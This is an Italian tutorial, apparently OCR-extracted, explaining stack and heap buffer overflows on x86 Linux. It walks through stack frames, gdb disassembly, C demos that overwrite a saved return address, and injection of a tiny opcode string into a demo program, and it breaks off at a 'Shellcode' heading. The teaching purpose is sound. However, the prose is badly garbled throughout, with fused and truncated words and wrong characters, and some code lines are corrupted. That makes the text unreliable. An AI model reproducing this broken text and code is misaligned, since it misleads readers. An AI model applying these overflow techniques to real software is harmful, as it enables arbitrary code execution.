Introduzione

Scopo di questo articolo & spiegare cos'é un bafferflow e come possa essere sfruttato da uniplesattacker per
eseguire codice arbitrario.

Molti concetti assembly sono stati semplificati permettere anche a lettori non esperti la compeasiell'articolo.
Nonostante cio si consiglia di avere delle bagirdgrammazione in linguaggio C e di avere una menbmnoscenza
dell'architettura di un calcolatore.

Spesso durante la trattazione dell'articolo saadolisdebugger gdb quindi € consigliabile aveqgeei®enza nel suo
utilizzo.

Gli esempi riportati in questo articolo sono spansati per architetture x86 con sistema oper&@MtJ/Linux, tuttavia
le tecniche illustrate possono essere adattatecaamtiltre architetture e differenti sistemi operat

| programmi di esempio riportati all'interno di gte documento sono stati testati con il compilagme versione 2.95,
altre versioni di tale compilatore traducono lesstesorgente C in differenti istruzioni assembfyragrammi di
esempio che interagiscono direttamente con il @diacchina potrebbero non avere lo stesso risidgatmmpilati con
altre versioni di gcc.

Organizzazione della memoria

Vediamo in breve come un binario elf viene allodatmmemoria. Semplificando possiamo affermare ehmémoria di
un processo viene divisa in tre regioni:

= laregione testo (TEXT)

= l'area dati (DATA)
= la stack region (STACK)
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Figure 1: Semplificazione memory layout

Latext region € la parte che include le istruzioni del programBssa € marcata come read only ed ogni tentativo d
scrittura su di essa provoca una segmentation fault

Il Data Segment € quel blocco di memoria che viene allocato a dexjme dove i dati inizializzati e non vengono
riposti. La parte dove vengono allocati i dati moizializzati viene chiamatBSS. Esempi di cio che viene riposto in
guesto segmento di memoria possono essere i dgibditatic.

La regioneStack viene usata per allocare le variabili locali ad voutine, per ricevere o passare parametri agl altr
procedure ed inoltre per salvare alcune informaaziwito importanti che analizzeremo piu avanti.dtack cresce
verso indirizzi di memoria numericamente minori.



Lo heap é quella parte della memoria che viene allocatardicamente da un'applicazione, esso cresce vatszzi
di memoria numericamente maggiori. Esempi di ci® alene riposto in quest'area di memoria possoserede
variabili allocate tramite la funzione di libremaalloc (man malloc(3)). La Figural mostra una schematizzazione di
guanto detto sin ora.

Allocare lo Stack

Caratteristica dei linguaggi ad alto livello & Epecita di poter definire procedure o funzioni.ptecedure possono
ricevere e restituire parametri al chiamante engtefivariabili locali. Quando una routine ha terensi deve ripristinare
il corretto flusso del programma ritornando alizione immediatamente successiva alla chiamatazadne: per
compiere queste operazioni abbiamo bisogno dealltkst.o stack € un insieme di blocchi contigui d@imoria. Esso &
una struttura di tipo LIFO (Last In First Out) dlaerchitetture x86 esso cresce verso il bassadijvierso indirizzi di
memoria numericamente minori. Possiamo pensar@ad.liFO come ad una pila di piatti: essi possorsees
accatastati in cima alla pila e soltanto dalla cpnasono essere tolti, quindi l'ultimo piatto ch&a nella pila € il
primo ad essere sottratto.

Variabili locali

Vediamo con dei semplici esempi come vengono aloleavariabili locali sullo stack.

Esempio 1:

int main(void)

L

int a;

int b;

int c;

}

In questo semplice programma sono definite treatdlrilocali alla procedura main. Esse sono allecatllo stack come
mostrato in Figura 2, dove ogni "casella" rapgmea 1 word ovvero 32 bit che € I'occupazione dntero (tipo int).
Notiamo che non & casuale I'ordine in cui vengdioaae le variabili sullo stack ma esso € dipeneletall'ordine in
cui sono dichiarate all'interno della routine.
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Figure 2: Stack Esempio 1

Esempio 2:

int main(void)

{

int a;

char buffer[10];
int b;

}



Lo stack del main di questo esempio € illustratBigura 3.
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Figure 3: Stack Esempio 2

Ragioniamo sulle dimensioni delle variabili alloead e b essendo interi occupano 1 word ciasdummemoria puo
essere allocata solo in multipli di word quindif&y di char che abbiamo dichiarato occupa 12 agtscheé 10 come
indicato nella dichiarazione della variabile buffer

Stack Pointer e Frame Pointer

Nelle architetture x86 c'e un registro dedicato abmtiene I'indirizzo dell'ultima locazione di mern@occupata sullo
stack, esso ¢ il registieSP che prende il nome diack pointer. Teoricamente si potrebbe specificare la locazdine
memoria di ciascuna variabile con spiazzamenttivelallo stack pointer, questo € molto scomodachérlo stack
viene continuamente allocato e deallocato, quitidndirizzamenti relativi allo stack pointer canglbébbero in
continuazione. Per ovviare a questo problema viesago un altro registro per tenere traccia dellagptocazione di
memoria del record di attivazione di una procedessp € il registr&BP che prende il nome @liame pointer o base
pointer. Specificare gli indirizzi delle variabili locadid una procedura rispetto al frame pointer ristdtaveniente
poiche il suo valore rimane invariato nell'arcolaeita di una procedura.
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Figure 4: Stack pointer e frame pointer

La Figura 4 mostra la posizione puntata dai redtiP e ESP nel record di attivazione di una geagprocedura. Si
noti che I'indirizzo contenuto all'interno del reilgd ESP & minore rispetto a quello in EBP.



Prologo di una procedura

Prima di addentrarci in esempi piu complessi rigass le istruzioni fondamentali che agiscono satkck. Esse sono
due:

= PUSH: aggiunge un elemento in cima allo stack.
= POP: rimuove un elemento dalla cima dello stack.

Dopo una push il valore dello stack pointer ris@teumericamente minore rispetto alla locazioneedmintava in
precedenza. Al contrario quando si esegue un'isttazoop il valore dello stack pointer verra incesrato.

Ora riferiamoci ad una generica funzione ed an@imp passo passo con l'aiuto di gdb cosa avvielegnaggio
assembly subito dopo la sua chiamata:

(gdb) disassemble funzione

Dump of assembler code for function funzione:
0x80483b4 <funzione>: push %ebp
0x80483b5 <funzione+1>: mov %esp,%ebp
0x80483b7 <funzione+3>: sub $0x18,%esp

Le prime tre istruzioni, definite prologo della pealura, sono:
1 push %ebp

2mov %esp,%ebp

3sub $0x18,%esp

Viene salvato sullo stack il valore del registroFE@struzione 1) e viene messo il valore di ESEB® (istruzione 2).
Successivamente viene sottratto 24 (18 in Hex)sttok pointer per allocare lo spazio necessaridepeariabili locali
(istruzione 3).

Analizziamo cosa avviene in dettaglio:
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Figure5: Stack prima del prologo

prima della chiamata alla procedura EBP ed ESPapontispettivamente alla base ed all'ultima loaaidi memoria
occupata dalla procedura chiamante, come mostr&mura 5. Quando la procedura chiamata effettymush del
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registro EBP sullo stack, lo stack pointer puntdlalocazione di memoria dove ¢ stato salvatadeopointer della
procedura chiamante. Quest'ultima locazione di nmenabora in avanti sara chiamatved frame pointer (SFP).
Possiamo osservare cio in Figura 6.
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Figure 6: Stack dopo push EBP

A questo punto la procedura chiamata copia lo gtaakter nel suo frame pointer, in questo modedgjisto EBP punta
alla prima locazione di memoria del suo recordttiVazione. Successivamente alloca memoria peat@bili locali

sottraendo lo spazio che gli necessita al valolle deack pointer portandosi in una situazione cauella mostrata in
Figura 7.
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Figure 7: Stack dopo il prologo



Fondamenti di assembly

Chiamata a procedura

Ricordiamo che esiste un registro che punta adl'drenemoria dove si trova l'istruzione succesasfzetto a quella in
esecuzione. Questo ¢ il regisEbtP, che prende il nome dastruction pointer.

In assembly una chiamata a funzione si traducd'istmuzione call, essa ha due compiti
fondamentali:

1. alterare il normale flusso del programma facendgeise come istruzione successiva la prima
istruzione della procedura chiamata;
2. salvare sullo stack l'indirizzo dellistruzione sessiva ad essa nel chiamante.

Quando la procedura chiamata avra termine si dovrare ad eseguire l'istruzione successiva allamebchiamante,
per questo motivo viene salvato sullo stack il guatirizzo. Chiameremo questa cella di memaa@ed return pointer
(SRET).

Osserviamo come si presenta lo stack dopo I'essoeiziel prologo di una generica funzione fin
Figura 8. Esso conterra le variabili locali al chante, il saved return pointer, il saved frame
pointer e successivamente le variabili locali &llazione f.
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Epilogo di una procedura

Le ultime due istruzioni di una procedura, defi@fglogo, sono:
= |eave
= ret

L'istruzione leave ha il compito di ripristinareegistri EBP ed ESP in modo che essi tornino agranispettivamente
la prima e l'ultima locazione di memoria occupatiéosstack dalla procedura chiamante.

L'istruzione ret ha il compito di indirizzare la ORd eseguire le istruzioni successive alla cdlth@mmante. Questa
istruzione "copiera" il contenuto di SRET aléimio di EIP, cosi facendo la CPU eseguira l'istizipuntata da SRET
che & quella successiva alla call all'interno delacedura chiamante.

Vediamo un esempio in pseduo assembly per chiquiesto passo cruciale:



pippo:
0x0001 add $5,%ecx
0x0002 subl $5,%ecx
0x0003 leave
0x0004 ret

main:

0x0005 add $5,%eax
0x0006 call pippo
0x0007 add $4,%eax
0x0008 leave
0x0009 ret

Sulla sinistra & stato messo un ipotetico indiridzmemoria dove si trova l'istruzione, supponecke tutte le

istruzioni occupino la stessa dimensione.

Quando all'interno del main viene chiamata la faneipippo, l'istruzione call salva sullo stackSRET, I'indirizzo
0x0007 Ora si passa ad eseguire la funzione pippo dgués tutte le sue istruzioni sino a fieet copiera il contenuto
di SRET in EIP, cosi facendo la CPU eseguiralimtme 0x0007In questo modo abbiamo ripristinato il flussoitag
del programma tornando ad eseguire le istruziomisgguono la call all'interno del main.

Passaggio di parametri

Il passaggio di parametri dal chiamante al chiaraaigene tramite lo stack. | valori passati vengorseriti tramite
una push in ordine inverso rispetto alla loro dichrzione nel prototipo di funzione. Chiariremo n@guesto concetto

tramite un esempio:

void f(int uno,int due,int tre)

{
/l[do nothing

int main(void)
{

int a,b,c;
f(a,b,c);

}

Disassembliamo il main per vedere cio che accade:
(gdb) disassemble main

Dump of assembler code for function main:
0x80483bc <main>: push %ebp

0x80483bd <main+1>: mov %esp,%ebp
0x80483bf <main+3>: sub $0x18,%esp
0x80483c2 <main+6>: add $0xfffffffc,%esp

0x80483c5 <main+9>: mov Oxfffffff4(%ebp),%eax
0x80483c8 <main+12>: push %eax |
0x80483c9 <main+13>: mov Oxfffffff8(%ebp),%eax
0x80483cc <main+16>: push %eax [
0x80483cd <main+17>: mov Oxfffffffc(%ebp),%eax
0x80483d0 <main+20>: push %eax |

0x80483d1 <main+21>: call 0x80483b4 <f>
0x80483d6 <main+26>: add $0x10,%esp
0x80483d9 <main+29>: leave

0x80483da <main+30>; ret

End of assembler dump.
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Come si evince dalle istruzioni precedenti alld lsaprocedura main alloca sullo stack da indiridizmemoria
maggiori a indirizzi minori: ¢, b ed a. La situazédello stack dopo il prologo della funzione fasaome quello

illustrato in Figura 9.
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Figure9: Stack con passaggio di parametri

Il parametro di ritorno di una funzione invece eesemplicemente messo all'interno del registro EAX.

Systemcall

Analizziamo le systemcall con meno di 6 parametri.
Per chiamare in linguaggio assembly una systerdoalbiamo conoscere l'identificativo univoco ad esssociato.
Esso pud essere reperito nei sorgenti del kerndillae../include/asm/unistd.h.
Il numero corrispondente alla systemcall deve essposto nel registro EAX ed i suoi parametri idine rispetto al
suo prototipo nei registri EBX,ECX,EDX,ESI,EDI. Quido abbiamo riempito tutti i registri necessarigaso far
eseguire la systemcall al kernel chiamando l'inf#rsoftware 0x80 tramite l'istruzione int.

Il parametro ritornato dalla syscall verra salvadbregistro EAX.
Vediamo un esempio di chiamata a syscall in lingimgssembly:

Esempio 4:

.data

stringa: .string "ciao\n"

.globl main

main:
movl $4,%eax
movl $1,%ebx
movl $stringa,%ecx
movl $5,%edx
int $0x80

movl $1,%eax
int $0x80



Questo programma assembly & I'equivalente del ségpeogramma scritto il linguaggio C:
int main(void)

write(1,"ciao\n",5);
exit();

Come dal prototipo di funzionenén write(2)):

ssize_t write(int fd, const void *buf, size_t count

poniamo il file descriptor, nel nostro caso 1 (stiioin EBX. L'indirizzo di stringa & stato ripoStoECX mentre la sua
dimensione nel registro EDX. Nel registro EAX &ataesso il valore corrispondente alla systemcatewche ¢ 4.
Ora siamo pronti per inviare l'interrupt 0x80 egaas il testimone al kernel che eseguira la systinuhe stampera su
standard output la stringa "ciao".

Le ultime due istruzioni sono una chiamata allaesysall exit. Abbiamo riposto "1" all'interno debistro EAX,
identificativo di exit, e poi abbiamo inviato I'arrupt software. Come si pud notare non abbiamsgbaslcun
parametro alla chiamata a primitiva.



Buffer Overflow

Ora che abbiamo delle minime basi di assembly powsipassare alla parte piu interessante dellazratte.

Prima di spiegare cosa sia un buffer overflow vediaos'é un buffetJn buffer & un insieme di blocchi di memoria
contigui che contengono dati dello stesso tipobuffer puo essere, ad esempio, un array di carattiirqualsiasi altro
tipo.

Il termine overflow puo essere tradotto come fabtrccare, andare oltre il limite. Il termine buféeerflow quindi
significa semplicemente riempire un buffer oltrégliantitativo" di memoria che gli & stata ass¢gn

Vediamo ora cosa significa a livello programmatiem un esempio in linguaggio C:

Esempio 5:

int main(void)

{

int a[5],i;

for(i=0;i<7;i++) a[i]=0;

La Figura 10 mostra come ¢ allocato lo stack degi@mma in esempio.
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Figure 10: Stack Esempio 5

Questo programma commette un evidente errore progeadivo: il ciclo for riempie il buffer "a" oltri spazio che gli
e stato dedicato all'interno del record di attigaei della funzione main. Il ciclo for infatti itedal valore 0 al valore 6
scrivendo nelle celle di memoria dalla a[0] finoai]. Le locazioni di memoria a[5] ed a[6] nonstésno, quindi si
andra a sovrascrivere le locazioni di memoria raihite ad "a" sullo stack.

Ora passiamo ad un esempio piu realistico di epozgrammativo che produce un buffer
overflow:

Esempio 6:

void f(char *stringa)

{
10



char small_buffer[16];
strepy(small_buffer,stringa);

}
int main(void)

char large_buffer[64];
inti;

for(i=0;i<64;i++) large_buffer[i]="A’;

f(large_buffer);
}

La funzione di libreria strcpyntan strcpy(3)) copia il contenuto di stringa in small_bufferdial raggiungimento del
carattere null. La variabile stringa &€ un puntatotarge buffer che ha dimensione 64 byte, mentad|sbuffer ha
dimensione soltanto di 16 byte. Vediamo cosa aevapo la chiamata a strcpy in Figura 11.
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Figure 11: Stack Esempio 6 dopo strcpy

Se eseguiamo il programma precedente esso termmana segmentation fault. Con I'aiuto di gdb derolo di capire

il perche.

(gdb) disassemble f

Dump of assembler code for function f:
0x80483f0 <f>: push %ebp

0x80483f1 <f+1>: mov  %esp,%ebp
0x80483f3 <f+3>: sub  $0x18,%esp
0x80483f6 <f+6>: add  $Oxfffffff8,%esp
0x80483f9 <f+9>: mov  0x8(%ebp),%eax

0x80483fc <f+12>: push %eax
0x80483fd <f+13>: lea OxfffffffO(%ebp),%eax
0x8048400 <f+16>: push %eax

0x8048401 <f+17>: call
0x8048406 <f+22>: add $0x10,%esp
0x8048409 <f+25>: leave

0x804840a <f+26>: ret

End of assembler dump.

(gdb) break *0x804840a

Breakpoint 1 at 0x804840a: file uno.c, line 5.
(gdb) run

[output]

(gdb) stepi

0x41414141 in ?? ()

0x8048300 <strcpy>
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Cannot access memory at address 0x41414141

(gdb) p $eip

$1 = (void *) 0x41414141

(gdb) stepi

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Abbiamo fissato un breakpoint all'istruzione readiamo in running il programma, eseguiamo l'istme ret con il
primo "stepi". Come precedentemente spiegatooggt il contenuto di SRET nel registro EIP, chédindirizzo della
prossima istruzione da eseguire.

Per verificare quanto detto stampiamo il contemlgifistruction pointer, esso contiene il valoret0%14141, che non e
casuale ma ¢ la traduzione della stringa "AAAAI'suo codice ascii, infatti "A" equivale allénd 41. Il valore

"AAAA" si trova all'interno di SRET perché quandbbiamo eseguito strcpy siamo andati a scrivelacazioni di
memoria oltre il limite di quelle allocate per lariabile small_buffer, ovvero abbiamo provocatduffer overflow.

Gli esempi visti sin ora sono stack buffer overflome sovrascrivono anche il contenuto di SRET
ed SFP. Sia chiaro che i buffer overfloan avvengono soltanto sullo stackan devono
modificare necessariamente SFP e SRET per esderiti ¢ili.

Vediamo ora un esempio sullo heap:
Esempio 7:

#define BUFSIZE 16

#define OVERSIZE 30

int main(void)

char *bufferl =(char *) malloc(BUFSIZE);
char *buffer2 =(char *) malloc(BUFSIZE);

memset( bufferl, 'A', BUFSIZE-1);
memset( buffer2, 'B', BUFSIZE-1);

printf("Prima del buffer overflow:\n");
printf("bufferl: %s\n",bufferl);
printf("buffer2: %s\n",buffer2);

memset( bufferl, 'C', BUFSIZE + OVERSIZE );
bufferl [BUFSIZE-1]="0";
buffer2 [BUFSIZE-1]="\0";

printf("Dopo buffer overflow:\n");
printf("bufferl: %s\n",bufferl);
printf("buffer2: %s\n",buffer2);

}

Le due variabili bufferl e buffer2 sono allocatedia@te una malloc quindi verranno riposte nelloghdicordando
guanto detto in precedenza lo heap viene allocatoahzioni di memoria numericamente maggiori aamin
contrariamente allo stack: la variabile buffer2izgiera indirizzamenti di memoria maggiori rispedtdufferl.

Il programma in Esempio 7 non fa altro che riempitdizzando la funzione memsemgn memset(3)) il bufferl
eccedendo di 30 byte rispetto alla dimensione atlotramite mallocnjan malloc(3)). Se eseguiamo il programma
noteremo che buffer2, dopo il buffer overflow, dene tutte lettere 'C' seppur esso sia stato riengpin tutte 'B'.
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Cambiare il punto di ritorno

Vogliamo modificare il contenuto del saved retuddi@ss affinché venga saltata un'istruzione afirg del chiamante.
Abbiamo il main del programma:

int main(void)

{

int a=5;

f0);

a=a+4,

printf("a: %d\n",a);

}

Ora scriviamo la funzione f affinché essa modifitiialore di SRET e faccia saltare l'istruzioneaa4.
Disassembliamo main:

(gdb) disassemble main

Dump of assembler code for function main:

0x80483f0 <main>: push %ebp

0x80483f1 <main+1>: mov %esp,%ebp
0x80483f3 <main+3>: sub $0x18,%esp
0x80483f6 <main+6>: movl $0x5,0xfffffffc(%ebp)
0x80483fd <main+13>: call 0x80483e4 <f>
0x8048402 <main+18>: addl $0x4,0xfffffffc(%ebp)
0x8048406 <main+22>: add $0xfffffff8,%esp
0x8048409 <main+25>: mov Oxfffffffc(%ebp),%eax
0x804840c <main+28>: push %eax

0x804840d <main+29>: push $0x8048470
0x8048412 <main+34>; call 0x8048300 <printf>
0x8048417 <main+39>: add $0x10,%esp
0x804841la <main+42>: leave

0x804841b <main+43>: ret

Cruciali sono le seguenti istruzioni:

0x80483fd <main+13>: call 0x80483e4 <f>
0x8048402 <main+18>: addl $0x4,0xfffffffc(%ebp)
0x8048406 <main+22>: add $0xfffffff8,%esp

In SRET dopo la call verra riposto il valore 0x8@88. Noi vogliamo cambiare il "punto di ritorn@tendo saltare
l'istruzione

addl $0x4,0xfffffffc(%eebp)

e passare direttamente all'istruzione 0x8048406u@sto modo evitiamo che la variabile "a" veagdizionata.
Calcoliamo di quanto deve essere incrementatmnilecauto di SRET \footnote{Lo spiazzamento & staloalato
disassemblando il binario ottenuto con la versi®& del compilatore gcc. Se si utilizzano diversesioni di tale
compilatore si deve ricalcolare lo spiazzamentoedhstrato precedentemente. }

0x8048406-0x8048402=4.

Ora abbiamo il problema di come arrivare alla lo@mag di memoria che contiene SRET. Dichiariamoanklhzione f

una variabile locale "i" di tipo intero, ragiomia su come verra allocato lo stack: esso contervatiabili locali al
main, SRET, SFP ed infine le variabili locali acbime mostrato in Figura 12.
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Figure 12: Locazione di SRET relativa ad "i"

Come si nota dall'illustrazione, conoscendo l'izdin di "i" possiamo sapere dove verra salvatB BRullo stack.

SRET si trovera infatti alla locazione di memorela variabile "i" pit 8 byte. In linguaggio Cgslamo accedere a tale
locazione di memoria nel seguente modo:

(&i)+8

tuttavia questo non funzionerebbe perche lo spiaento 8 verra contato come:

8*(sizeof (int))

quindi addizionato di 32 byte. Cio' significa ch@vcemmo accedervi nel seguente modo:

(&i)+2

Ora che sappiamo di quanto incrementare il contediUBRET e sappiamo come reperire il suo indirizzmemoria,
scriviamo la funzione f:

void f()

inti,*PSRET;

/* dichiariamo la variabile i ed un altra variabile PSRET che sara il puntatore
a SRET */

PSRET=(&i)+2;
/* ora PSRET punta alla cella di memoria che contiene SRET */

*PSRET=*PSRET+4;
/* abbiamo incrementato il valore contenuto in SRET di 4 come calcolato
precedentemente */

}

Ora eseguiamo il nostro programma:

lain@Boban [~/Programming/c/esempi] ./a.out

a.5

Siamo riusciti nel nostro intento: modificando dntenuto di SRET abbiamo saltato l'istruzione sssiea alla call
all'interno del chiamante della funzione f.

Ora poniamo una regola: non possiamo modificargttdimente il contenuto di SRET ma dobbiamo
modificarlo sovrascrivendo il suo contenuto tranoitebuffer overflow.

La soluzione sara:

void f(void)

L

Int 1,

char small_buffer[16],long_buffer[32];

int *addr_ptr,*PSRET,*PSFP,aux;

[* dichiarazione delle variabili localiad f  */
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PSRET=(&i)+2;

/* PSRET punta alla cella che contiene SRET  */
PSFP=(&i)+1;

/* PSFP punta alla cella che contiene SFP */

aux=*PSFP;
[* aux contiene il valore di SFP */

addr_ptr=(int *)long_buffer;
for(i=0;i<32;i=i+4) *(addr_ptr++)=*PSRET+4;
long_buffer[31]="0";
/* riempiamo long_buffer con l'indirizzo puntato da PSRET
addizionato di 4 e mettiamo il carattere di fine
stringa */

strepy(small_buffer,long_buffer);
* provochiamo il buffer overflow copiando long_buffer in

small_buffer */

*PSFP=aux;

[* ripristiniamo il contenuto di SFP con quello salvato
in precedenza */

}

La variabile long_buffer contiene il valore 0x80084ripetuto 7 volte ed é terminata con il carattéirine linea,
guando la funzione strcpy copia il suo contenutsenirall_buffer essa scrivera nelle locazioni di mgaohe precedono
small_buffer. Cosi facendo si sovrascrive il conterdella variabile "i" ed anche il contenutoleleelle SFP e SRET
con il valore 0x8048406. Il valore del SFP ¢ stgiastinato per permettere all'istruzione leaveaimpostare
correttamente il registro ESP al termine della pcara f.

Eseguiamo il nostro programma ed otteniamo:

lain@Boban [~/Programming/c/esempi] ./a.out

a:5

Anche questa volta siamo riusciti a far saltastriizione indesiderata.

Nota al paragrafo

Dopo la prima pubblicazione di questo articolo on@ arrivate diverse mail che chiedevano di rivedeodici dei
programmi in esempio perche' non funzionanti. ticf@he gli esempi riportati non funzionino € legatla diversa
versione di gcc che utilizzate per la loro compdae. Come per altro sottolineato sia nell'intrddoe sia nella nota a
pié di pagina ogni programma riportato in questizalo € scritto per il compilatore gcc version82.Se utilizzate per
la compilazione una versione di gcc differentdcimente successiva o uguale alla 3.0, esso trdauedesima linea
di codice c in istruzioni assembly differenti daliarsione di gcc usata per scrivere I'articolostddoscritto. Questo
comporta che lo spiazzamento per saltare la lir@aznel sorgente ¢ debba essere ricalcolato disdsando il
binario. Infatti se osserviamo il disassemblatdadetocedura main per compilatore gcc-2.95, ottania

Dump of assembler code for function main:

0x80484a4 <main>: push %ebp

0x80484a5 <main+1>: mov %esp,%ebp

0x80484a7 <main+3>: sub $0x18,%esp

0x80484aa <main+6>: movl $0x5,0xfffffffc(Yebp)

0x80484b1 <main+13>: call 0x8048420 <f>

0x80484b6 <main+18>: addl $0x4,0xfffffffc(%ebp)

0x80484ba <main+22>: add $Oxfffffff8,%esp

0x80484bd <main+25>: mov Oxfffffffc(Y%ebp),%eax

0x80484c0 <main+28>: push %eax

0x80484c1 <main+29>: push $0x80485e0

0x80484c6 <main+34>: call 0x8048318 <printf>
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0x80484ch <main+39>: add $0x10,%esp

0x80484ce <main+42>: leave

0x80484cf <main+43>: ret

End of assembler dump.

notiamo che la linea di codice ¢ a=a+5 €& statattademplicemente come
add| $0x4,0xfffffffc(Yoebp)

quindi lo spiazzamento deve essere 4.

Mentre se osserviamo il disassemblato della praeedhain per compilatore gcc-3.3, otteniamo:
Dump of assembler code for function main:
0x80483da <main>: push %ebp

0x80483db <main+1>: mov %esp,%ebp
0x80483dd <main+3>: sub $0x8,%esp
0x80483e0 <main+6>: and $0Oxfffffff0,%esp
0x80483e3 <main+9>: mov $0x0,%eax
0x80483e8 <main+14>;: sub %eax,%esp
0x80483ea <main+16>: movl $0x5,0xfffffffc(Yoebp)
0x80483f1 <main+23>: call 0x8048360 <f>
0x80483f6 <main+28>: lea Oxfffffffc(Y%oebp),Y%eax
0x80483f9 <main+31>: addl $0x4,(%eax)
0x80483fc <main+34>: sub $0x8,%esp

0x80483ff <main+37>: pushl Oxfffffffc(%ebp)
0x8048402 <main+40>: push $0x804851c
0x8048407 <main+45>: call 0x804828c <printf>
0x804840c <main+50>: add $0x10,%esp
0x804840f <main+53>: leave

0x8048410 <main+54>: ret

End of assembler dump.

notiamo che la linea di codice ¢ a=a+5 é statattadome:
lea Oxfffffffc(Yoebp),%eax

addl $0x4,(%eax)

quindi lo spiazzamento & diverso e risulta pari a 6

A questa gia macroscopica differenza si sommadti fzhe diverse versioni di gcc usano di default
un diverso allineamento, quindi per i compilatarcgiguali o successivi alla versione 3.0 si deve
cambiare lo spiazzamento rispetto ad "i" perrdetere la locazione di memoria che contiene il
saved frame pointer ed il saved return addres#irénsi deve incrementare la dimensione di
long_buffer per sovrascrivere il saved return asglr®er chi ha voglia di provare subito il codice
senza curarsi della versione di compilatore inpuswi il seguente codice compilandolo con
'opzione

-mpreferred-stack-boundary=2

per ovviare al problema dei diversi allineamenti.

#include<stdio.h>
#include<string.h>

void f()
L
int i;
char small_buffer[16],long_buffer[32];
int *PSFP,*PSRet,aux,*addr_ptr,jump_instructions;

PSRet= (&i)+2; // PSRET punta alla locazione di memoria di SRET
PSFP=(&i)+1; // PSFP punta alla locazione di memoria di SFP

aux=*PSFP; //aux contiene il contenuto del base pointer del chiamante
#if __ GNUC__ <3
jump_instructions=4;

#endif
#if  GNUC__ >=3
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jump_instructions=6;

#endif

I/l jump_instructions viene fissato a 4 per compilatori gcc < 3 e a 6 per

I/l compilatori >= 3.0 dipendente da come viene tradotta in codice macchina

/Il la stessa linea di codice ¢

/l RICORDARSI di compilare con l'opzione -mpreferred-stack-boundary=2

/I altrimenti si devono cambiare anche gli spiazzamenti rispetto ad i per

/I determinare la locazione di memoria di SRET e SFP oltre che la dimensione
// di long_buffer

addr_ptr=(int*)long_buffer;
for (i=0;i<32;i=i+4) *(addr_ptr++)=*PSRet+jump_instructions;
long_buffer[31]="0";

strcpy(small_buffer,long_buffer);

*PSFP=aux; // ripristino il valore della cella che contiene il saved frame pointer
/I in modo che venga correttamente ripristinato dopo l'istruzione
/I leave di f alla prima locazione di memoria del record di attivazione della
/l procedura main

int main(void)

{

int a;

int b; // variabile introdotta per non far sovrascrivere la locazione di memoria
I/ contenente a dopo la strcpy in f() in modo da lasciarne intatto il
/I contenuto

a=>5;

f0);

a=at4;

printf("a: %d\n",a);

return O;
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Iniettare codice

Vogliamo inserire nuove istruzioni all'interno alstro programma in modo che esse siano esegytestd delle
istruzioni successive alla call all'interno delazhante. Modificheremo SRET affinché il programmié ad eseguire il
nostro blocco di istruzioni "spodestando” il chéate della funzione f.

Abbiamo diversi interrogativi:

= dove inserire il codice che vogliamo iniettare;
= come determinarne l'indirizzo della prima istruzpn
= in che formato le istruzioni devono essere inserite

Non possiamo inserire le istruzioni all'interno tieit segment perché esso e read only, nessursopged che un
blocco di istruzioni possa essere riposto all'imbedello stack o del data segment. Dichiareremiotaitno della
procedura f un array di char dove metteremo leZgbni da iniettare.

Se inseriamo il codice all'interno di una stringadirizzo di memoria che ne contiene la primauzione sara
semplicemente l'indirizzo dell'array di char.

Le istruzioni ovviamente devono essere in formaterpretabile dalla CPU, useremo gcc e gdb pereaxtirie in
opcode e successivamente in esadecimale, affirdeepossano essere riposte allinterno di un drregratteri.

Il codice che vogliamo iniettare ¢ il seguente:
nop

leave

ret

Scriviamole all'interno di un semplice programmseasbly:
.globl main

type main,@function
main:

push %ebp

movl %esp,%ebp

nop

leave

ret

Compiliamolo e lanciamo gdb disassemblandolo:
lain@Boban [~/Programming/c/esempi] gcc -g -ggdb pippo.s
lain@Boban [~/Programming/c/esempi] gdb a.out
(gdb) disassemble main

Dump of assembler code for function main;
0x80483b4 <main>: push %ebp

0x80483b5 <main+1>: mov %esp,%ebp
0x80483b7 <main+3>: nop

0x80483b8 <main+4>: leave

0x80483b9 <main+5>: ret

0x80483ba <main+6>: nop

Le istruzioni che vogliamo convertire sono quetle ¥anno dalla 0x80483b7 fino a 0x80483ba esclhmsapre usando
gdb calcoliamo la loro dimensione:

(gdb) p 0x80483ba - 0x80483b7

$2=3

La dimensione dei loro opcode € 3 byte.

Convertiamo gli opcode di queste istruzioni in fatmesadecimale:

(gdb) x/3bx 0x80483b7
0x80483b7 <main+3>: 0x90 0xc9 0xc3
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Questo sara il contenuto del nostro array di char:
char stringa[]="\x90\xc9\xc3";

Ora scriviamo il programma:
char stringa[]="\x90\xc9\xc3";
void f(void)

inti,*PSRET;

[* dichiarazione delle variabili locali ad f */
PSRET=(&i)+2;

/* ora PSRET punta a SRET */
*PSRET=(int )stringa;

/*in SRET mettiamo l'indirizzo di stringa  */

int main(void)

{

int a=5;

f0);

a=at4;

printf("a: %d\n",a);
}

Eseguiamo il programma:
lain@Boban [~/Programming/c/esempi] ./a.out
lain@Boban [~/Programming/c/esempi]

Come si puo notare dopo la chiamata a funzionenfan@ piu ritornati ad eseguire il contenuto dirmanfatti non
stato stampato nulla su stdout. Quando la funZidr@eeseguito ret si & passati ad eseguire il coiedi stringa.

Osserviamo cosa succede all'interno del programmseginpio dopo ret:

(gdb) disassemble f

Dump of assembler code for function f:

0x80483e4 <f>: push %ebp

0x80483e5 <f+1>: mov  %esp,%ebp
0x80483e7 <f+3>: sub  $0x18,%esp
0x80483ea <f+6>: lea Oxfffffffc(Yoebp),%eax
0x80483ed <f+9>: lea 0x8(%eax),%edx
0x80483f0 <f+12>: mov  %edx,Oxfffffff8(%ebp)
0x80483f3 <f+15>: mov  Oxfffffff8(%ebp),%eax
0x80483f6 <f+18>: movl $0x8049498,(%eax)
0x80483fc <f+24>: leave

0x80483fd <f+25>: ret

End of assembler dump.

(gdb) break *0x80483fd

Breakpoint 1 at 0x80483fd: file pippo.c, line 7.

(gdb) run

Starting program: /home/lain/Programming/c/esempi/a.out

Breakpoint 1, 0x080483fd in f () at pippo.c:7
7}

(gdb) stepi

0x08049498 in stringa ()

(gdb) p $eip

$1 = (void *) 0x8049498

(gdb) printf "0x%x\n",stringa
0x8049498

(gdb) x/i 0x8049498
0x8049498 <stringa>: nop
(gdb) x/i 0x8049499
0x8049499 <stringa+1>: leave
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(gdb) x/i 0x804949a
0x804949a <stringa+2>: ret

Abbiamo fissato un breakpoint all'istruzione retc&amo girare il programma e con stepi eseguidstakione ret.
Stampando l'istruction pointer si nota che l'istae successiva si trova nella locazione di mem@x&049498 che é
proprio l'indirizzo del primo valore di stringa. S&ampiamo i primi 3 byte contenuti in "string@a'formato di istruzioni
notiamo che esse sono cid che volevamo iniettare.

Shellcode

Abbiamo imparato come cambiare SRET a nostro pitime come iniettare codice. Purtroppo le istmizibe
